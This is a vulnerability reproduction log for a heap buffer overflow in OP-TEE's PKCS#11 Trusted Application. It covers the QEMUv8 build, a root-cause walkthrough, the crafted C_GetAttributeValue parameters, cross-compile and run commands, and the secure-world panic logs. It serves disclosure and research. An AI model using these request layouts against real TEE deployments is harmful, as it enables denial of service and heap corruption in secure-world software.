# OP-TEE PKCS#11 Heap Overflow — Environment Setup and Bug Reproduction > Archive note, 2026-04-30: this reproduction log documents the local QEMUv8 > run captured before the public advisory was published on 2026-04-23. The > current PoC entry point is `README.md`; official advisory metadata for > CVE-2026-33317 lists CVSS 8.7 High, CWE-125/CWE-787, and patched versions > as 4.11 and later. **Vulnerability**: Heap buffer overflow in `entry_get_attribute_value()` (`ta/pkcs11/src/object.c`) — attacker-controlled `attrs_size` causes a template allocation that is too small to hold attribute data, leading to an out-of-bounds write into the Secure World heap. **Affected commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc` --- ## 1. Prerequisites | Item | Required | |------|----------| | OS | Linux x86-64 (tested: Ubuntu 24.04) | | CPU cores | ≥ 4 (16 used here) | | RAM | ≥ 8 GB | | Disk | ≥ 50 GB free | | Tools | `git`, `make`, `python3`, `repo`, `expect` | | Python packages | `distlib` (needed by QEMU's configure script) | Install the OP-TEE build dependencies listed in the official docs, then: ```bash pip install distlib # required by QEMU configure under some Python envs ``` --- ## 2. Create the workspace ```bash mkdir -p ~/optee-build cd ~/optee-build ``` --- ## 3. Initialize the repo manifest OP-TEE uses Google's `repo` tool to manage multiple sub-repositories. The `qemu_v8` manifest targets an AArch64 QEMU platform with the full software stack: TF-A, OP-TEE OS, Linux kernel, and a Buildroot rootfs. ```bash repo init -u https://github.com/OP-TEE/manifest.git \ -m qemu_v8.xml \ --no-clone-bundle ``` This pins the manifest to `qemu_v8.xml` (plus `common.xml`), which selects the following repositories: | Path | Repository | Revision | |------|-----------|----------| | `build` | OP-TEE/build | master | | `optee_os` | OP-TEE/optee_os | master | | `optee_client` | OP-TEE/optee_client | master | | `optee_test` | OP-TEE/optee_test | master | | `linux` | linaro-swg/linux | optee | | `buildroot` | buildroot/buildroot | 2025.05 | | `qemu` | qemu/qemu | v10.0.0 | | `trusted-firmware-a` | TrustedFirmware-A/tfa | v2.14.0 | | `mbedtls` | Mbed-TLS/mbedtls | mbedtls-3.6.5 | | `u-boot` | u-boot/u-boot | v2025.07 | --- ## 4. Sync all repositories ```bash repo sync -j8 --no-clone-bundle ``` All sub-repositories are cloned into `~/optee-build/`. The build Makefile is accessed via a symlink: `build/qemu_v8.mk` → `build/Makefile`. --- ## 5. Download cross-compilation toolchains ```bash cd build make toolchains -j$(nproc) ``` This downloads and unpacks: - `toolchains/aarch64/` — AArch64 Linux GCC (normal world: kernel, user programs) - `toolchains/aarch32/` — ARM32 GCC (32-bit Trusted Applications) - `toolchains/rust/` — Rust toolchain --- ## 6. Build all components ```bash make all -j$(nproc) 2>&1 | tee /tmp/optee-build.log ``` The build proceeds through all components in dependency order: | Component | Key output | |-----------|-----------| | OP-TEE OS | `optee_os/out/arm/core/tee.bin` + PKCS#11 TA binary | | TF-A | `trusted-firmware-a/build/qemu/release/bl{1,2,31}.bin` | | QEMU | `qemu/build/qemu-system-aarch64` | | Linux | `linux/arch/arm64/boot/Image` | | Buildroot | `out-br/images/rootfs.cpio.gz` (~21 MB) | The platform (`OPTEE_OS_PLATFORM = vexpress-qemu_armv8a`) is configured with `CFG_PKCS11_TA=y` which builds the PKCS#11 Trusted Application into the image. Staged boot artifacts land in `out/bin/`: ``` bl1.bin bl2.bin bl31.bin bl32.bin bl32_extra1.bin bl32_extra2.bin bl33.bin Image rootfs.cpio.gz ``` --- ## 7. Verify the baseline environment Run the full PKCS#11 test suite to confirm the environment is working and the TA is functional: ```bash make check XTEST_ARGS="-t pkcs11" TIMEOUT=600 DUMP_LOGS_ON_ERROR=y ``` This boots QEMU, logs in as root, runs `xtest -t pkcs11`, and parses results: ``` Status: PASS (321 test cases) ``` 321 PKCS#11 test cases pass, confirming a good baseline. --- ## 8. Understanding the vulnerability ### Affected function `entry_get_attribute_value()` in `ta/pkcs11/src/object.c` handles the PKCS#11 `C_GetAttributeValue` command. It allocates a template buffer to hold the caller's attribute request: ```c // serializer.c — alloc_and_get() ptr = TEE_Malloc(sizeof(pkcs11_object_head) + attrs_size, TEE_MALLOC_FILL_ZERO); // ^-- 8 bytes header ^-- attacker-controlled ``` When `attrs_size = 8` (one `pkcs11_attribute_head`, zero data bytes), the allocation is exactly 16 bytes. ### The overflow The loop body computes a pointer to the attribute's data area: ```c // object.c:828-866 cur = (char *)template + sizeof(struct pkcs11_object_head); // = template + 8 end = cur + template->attrs_size; // = template + 16 // Inside the loop: struct pkcs11_attribute_head *cli_ref = (void *)cur; // at template + 8 // cli_ref occupies template[8..15] — last 8 bytes of allocation data_ptr = cli_head.size ? cli_ref->data : NULL; // cli_ref->data = cur + 8 = template + 16 = end // ^-- one byte PAST the allocation ``` `cli_ref->data` points immediately past the 16-byte allocation. This pointer is passed to `get_attribute()`: ### The bypassed size guard `get_attribute()` in `ta/pkcs11/src/attributes.c` checks whether the destination buffer is large enough before writing: ```c // attributes.c:179-186 if (attr_size && *attr_size < size) { // bypassed: attacker sets size >= actual *attr_size = size; return PKCS11_CKR_BUFFER_TOO_SMALL; } if (attr) TEE_MemMove(attr, attr_ptr, size); // HEAP OVERFLOW — writes 'size' bytes OOB ``` The attacker sets `cli_head.size = 16` (≥ the actual `CKA_LABEL` length of 16). `16 < 16` is false, so the guard is not triggered. `TEE_MemMove` writes 16 bytes of attribute data at the out-of-bounds pointer, overflowing into adjacent heap metadata. ### Attack primitive | Parameter | Value | Effect | |-----------|-------|--------| | `attrs_size` | 8 | Allocates 16-byte template (room for header only) | | `attrs_count` | 1 | One attribute in the loop | | `cli_head.id` | `CKA_LABEL` | Selects a readable attribute | | `cli_head.size` | 16 | ≥ actual label size — bypasses guard | | OOB write offset | 0 bytes past end | Corrupts adjacent heap block header | | OOB write size | 16 bytes | Overwrites bget `prevfree` sentinel | --- ## 9. Write the PoC (`c01_poc.c`) The PoC uses the raw TEEC (`libteec`) API to invoke the PKCS#11 TA without any middleware. It targets the PKCS#11 TA UUID `fd02c9da-306c-48c7-a49c-bbd827ae86ee`. ### TEEC invocation pattern Each PKCS#11 command uses: - **param[0]** `TEEC_MEMREF_TEMP_INOUT` — control buffer (TA reads command args, writes back a 4-byte return code) - **param[2]** `TEEC_MEMREF_TEMP_OUTPUT` — response data **Important**: For `OPEN_SESSION` and `CREATE_OBJECT`, the TA checks `out->memref.size == sizeof(handle)` exactly. Pass `out_sz = 4`, not a larger buffer, or the TA returns `PKCS11_CKR_ARGUMENTS_BAD (0x7)`. ### PoC sequence 1. `TEEC_InitializeContext` + `TEEC_OpenSession` — open a TEE session with the PKCS#11 TA. 2. `CMD_INIT_TOKEN (10)` — initialize token on slot 0: ``` ctrl = [slot_id=0 (4)] [pin_len=0 (4)] [label (32)] ``` 3. `CMD_OPEN_SESSION (6)` — open an R/W session: ``` ctrl = [slot_id=0 (4)] [flags=0x6 (4)] out_sz = 4 ← exactly sizeof(session_handle) out → [session_handle (4)] ``` Flags: `PKCS11_CKFSS_RW_SESSION (1<<1) | PKCS11_CKFSS_SERIAL_SESSION (1<<2) = 0x6` 4. `CMD_CREATE_OBJECT (15)` — create a session AES key with a 16-byte label: ``` ctrl = [session_handle (4)] [pkcs11_object_head: attrs_size=99, attrs_count=7] [CKA_CLASS=0x0000, size=4, val=CKO_SECRET_KEY=4] [CKA_TOKEN=0x0001, size=1, val=0] [CKA_MODIFIABLE=0x0170, size=1, val=1] [CKA_KEY_TYPE=0x0100, size=4, val=CKK_AES=0x1f] [CKA_DECRYPT=0x0105, size=1, val=1] [CKA_VALUE=0x0011, size=16, val=<16-byte AES key>] [CKA_LABEL=0x0003, size=16, val="AAAAAAAAAAAAAAAA"] out_sz = 4 out → [obj_handle (4)] ``` 5. `CMD_GET_ATTRIBUTE_VALUE (38)` — **malicious request** (repeat 5×): ``` ctrl = [session_handle (4)] [obj_handle (4)] [pkcs11_object_head: attrs_size=8, attrs_count=1] ← crafted [pkcs11_attribute_head: id=CKA_LABEL=0x0003, size=16] ← crafted out_sz = 16 (= sizeof(pkcs11_object_head) + attrs_size) ``` Inside the TA: template allocated at 16 bytes; data pointer lands at `template+16`; `TEE_MemMove` writes 16 bytes of the label there. --- ## 10. Cross-compile the PoC for AArch64 ```bash CROSS_CC="toolchains/aarch64/bin/aarch64-linux-gnu-gcc" SYSROOT="out-br/host/aarch64-buildroot-linux-gnu/sysroot" TEEC_INC="out-br/per-package/optee_examples_ext/host/\ aarch64-buildroot-linux-gnu/sysroot/usr/include" "$CROSS_CC" \ --sysroot="$SYSROOT" \ -I"$TEEC_INC" \ -Wall -g -O0 \ -o out/bin/c01_poc \ c01_poc.c \ -lteec ``` The `TEEC_INC` path is where the Buildroot-compiled `tee_client_api.h` lives. The binary links against `libteec.so` from the sysroot. --- ## 11. Run the PoC in QEMUv8 Share the host `out/bin/` directory into the guest over virtio-9p and run the binary as root. The QEMU invocation: ```bash qemu-system-aarch64 \ -nographic \ -smp 2 \ -cpu max,sme=on,pauth-impdef=on \ -d unimp \ -semihosting-config enable=on,target=native \ -m 1057 \ -bios out/bin/bl1.bin \ -initrd out/bin/rootfs.cpio.gz \ -kernel out/bin/Image \ -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2' \ -machine virt,acpi=off,secure=on,mte=off,gic-version=3,virtualization=false \ -object rng-random,filename=/dev/urandom,id=rng0 \ -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \ -netdev user,id=vmnic \ -device virtio-net-device,netdev=vmnic \ -fsdev local,id=fsdev0,path=out/bin,security_model=none \ -device virtio-9p-pci,fsdev=fsdev0,mount_tag=host \ -serial mon:stdio \ -serial file:out/bin/c01_sw.log # secure world log on second UART ``` Inside the guest: ```bash mkdir -p /mnt/host mount -t 9p -o trans=virtio host /mnt/host /mnt/host/c01_poc ``` The `run_c01.sh` + `c01_check.exp` scripts automate this via `expect`. --- ## 12. Result ### Normal world output ``` [C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue [+] TEEC session with PKCS#11 TA opened [+] INIT_TOKEN rc=0x00000000 OK [+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001 [+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001 [+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes) [+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)... [+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff [+] GET_ATTRIBUTE_VALUE[1] rc=0xffffffff ... ``` ### Secure world log (`c01_sw.log`) ``` E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel() E/TC:? 0 TA panicked with code 0xffff0000 E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee E/LD: arch: aarch64 E/LD: Call stack: E/LD: 0xc0094a9c E/LD: 0xc00bd088 E/LD: 0xc00bd550 E/LD: 0xc0082118 E/LD: 0xc0080f3c E/LD: 0xc009dbe0 E/LD: 0xc00935d8 D/TC:? 0 user_ta_enter:196 tee_user_ta_enter: TA panicked with code 0xffff0000 D/TC:? 0 maybe_release_ta_ctx:696 Releasing panicked TA ctx ``` ### Interpretation The PKCS#11 TA (`fd02c9da-...`) panics on the first malicious `GET_ATTRIBUTE_VALUE` invocation. The bget assertion at `lib/libutils/isoc/bget.c:1022` fires inside `brel()` (the heap free path): ```c // bget.c:1022 assert(BH((char *) b - b->bh.bsize)->prevfree == 0); ``` This checks that the block immediately preceding `b` in memory does not advertise `b` as a free block. The 16-byte OOB write from `get_attribute()` overwrote the `bsize` or `prevfree` field of the adjacent bget block header, corrupting the heap. On the next deallocation, the allocator detects the inconsistency and calls `TEE_Panic(0xffff0000)`, terminating the TA. The heap corruption happens at `object.c:872` during `get_attribute()`, when `TEE_MemMove` writes 16 bytes of attacker-supplied `CKA_LABEL` data to the out-of-bounds `data_ptr`. --- ## 13. Key pitfalls encountered | Issue | Cause | Fix | |-------|-------|-----| | `OPEN_SESSION` returns `0x7` (`ARGUMENTS_BAD`) | `pkcs11_token.c:617` checks `out->memref.size == sizeof(session_handle)` exactly; passing a 256-byte buffer fails | Set `out_sz = 4` for `OPEN_SESSION` | | `CREATE_OBJECT` returns `0x7` (`ARGUMENTS_BAD`) | Same exact-size check at `object.c:322` | Set `out_sz = 4` for `CREATE_OBJECT` | | QEMU configure fails: "found no usable distlib" | QEMU's configure uses the active Python interpreter; conda env lacked `distlib` | `pip install distlib` | --- ## Files | File | Purpose | |------|---------| | `c01_poc.c` | Normal World PoC source (raw TEEC, AArch64) | | `build_poc.sh` | Cross-compilation script | | `run_c01.sh` | QEMU launch wrapper | | `c01_check.exp` | `expect` script: boots guest, mounts virtfs, runs PoC | | `out/bin/c01_nw.log` | Normal world (Linux console) log | | `out/bin/c01_sw.log` | Secure world (OP-TEE) log — contains the panic |